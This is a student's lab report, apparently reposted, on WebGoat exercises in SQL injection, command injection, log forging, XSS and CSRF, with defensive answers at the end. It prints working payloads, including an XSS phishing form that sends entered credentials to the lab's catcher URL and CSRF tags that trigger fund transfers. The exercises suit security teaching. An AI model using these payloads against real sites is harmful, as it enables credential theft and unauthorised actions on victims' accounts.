Exp9 web安全基础 20164312 马孝涛
Posted mxiaot
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Exp9 web安全基础 20164312 马孝涛相关的知识,希望对你有一定的参考价值。
1.实验要求
本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。
2.实验步骤
2.1安装webgoat
1.下载webgoat-container-7.0.1-war-exec.jar文件
2、在含有该文件的目录下使用命令java -jar webgoat-container-7.0.1-war-exec.jar
运行Webgoat
3、在浏览器中输入http://localhost:8080/WebGoat
进入WebGoat登录界面
4、使用默认用户名密码guest登录即可
2.2SQL攻击
2.2.1命令注入
原理:在正常的参数提交过程中添加恶意代码以执行某条指令 目标:可以在目标主机上执行任何系统命令
方法: 右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,在复选框中任意一栏的代码,右键单击后,选择Edit At html
进行修改,添加"& netstat -an & ipconfig"
点击view
,可以看到执行指令后的网络端口使用情况和IP地址。攻击成功!
2.2.2日志欺骗
原理:在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹
目标:灰色区域代表在 Web 服务器的日志中的记录的内容,我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”
方法:利用入回车(0D%)和换行符(%0A),在 username 中填入 sxx%0d%0aLogin Succeeded for username: admin ,
可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。比如,将admin <script>alert(document.cookie)</script>
作为用户名输入,可以看到弹窗的cookie信息。
2.2.3数字型注入
原理:在station字段中注入特征字符,组合成新的SQL语句。
目标:通过注入SQL字符串查看所有的天气数据。
方法:右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1
2.3xss攻击
2.3.1XSS 钓鱼
原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
目标:创建一个 form,要求填写用户名和密码。
方法:利用XSS可以在已存在的页面中进一步添加元素,包括两部分:
- 受害人填写一个表格;
- 服务器以读取脚本的形式,将收集到的信息发送给攻击者。
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat,编写一个带用户名和密码输入框的表格:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
2.3.2存储型XSS攻击
原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段javascript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
目标:写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
方法: 在title中任意输入字符,留言板中输入<script>alert("I‘m 20164312mxt, I am already here!");</script>
2.4CSRF攻击
2.4.1 跨站请求伪造
原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。
目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。
方法:查看页面右侧Parameters中的src和menu值,分别为267和900
在title中输入任何参数,message框中输入
<img src="attack?Screen=319&menu=900&transferFunds=5000"/>
,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),用户一旦点击图片,就会触发一个CSRF事件,点击Submit
提交
在Message List中生成以Title命名的消息。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。可以从左侧的任务栏看到任务已完成。
2.4.2绕过 CSRF 确认
原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。
目标:与上一个题目类似,向包含多个恶意请求的新闻组发送电子邮件。
方法:
- 查看页面右侧Parameters中的src和menu值分别为519和900
- 并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=519&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=519&menu=900&transferFunds=CONFIRM"> </iframe>
- 在Message List中生成以Title命名的链接,点击进入后,攻击成功,可以从左侧的任务栏看到任务已完成。
3.实验总结
3.1基础问题回答
SQL注入攻击原理,如何防御
sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。可以通过关闭或删除不必要的交互式提交表单页面;对漏洞注入点相关代码进行关键字的过滤等方法防御。
XSS攻击的原理,如何防御
跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。需要向web页面注入恶意代码,这些恶意代码能够被浏览器成功的执行。可以通过对输入和URL参数进行过滤;在输出数据之前对潜在的威胁的字符进行编码、转义等方法防御。
CSRF攻击原理,如何防御
CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器。可以通过验证请求中的Token;验证 Referer;添加加随机验证等方法防御。
3.2实验感想
本次实验内容都是在Webgoat平台上进行,Webgoat的中文手册对每一个小实验的原理都介绍得非常清楚,便于理解每个题目的要求。在实验的过程中,先理解原理,再根据要求进行实验,还是能很好解决遇到的问题,总的来说,这次实验受益匪浅。
以上是关于Exp9 web安全基础 20164312 马孝涛的主要内容,如果未能解决你的问题,请参考以下文章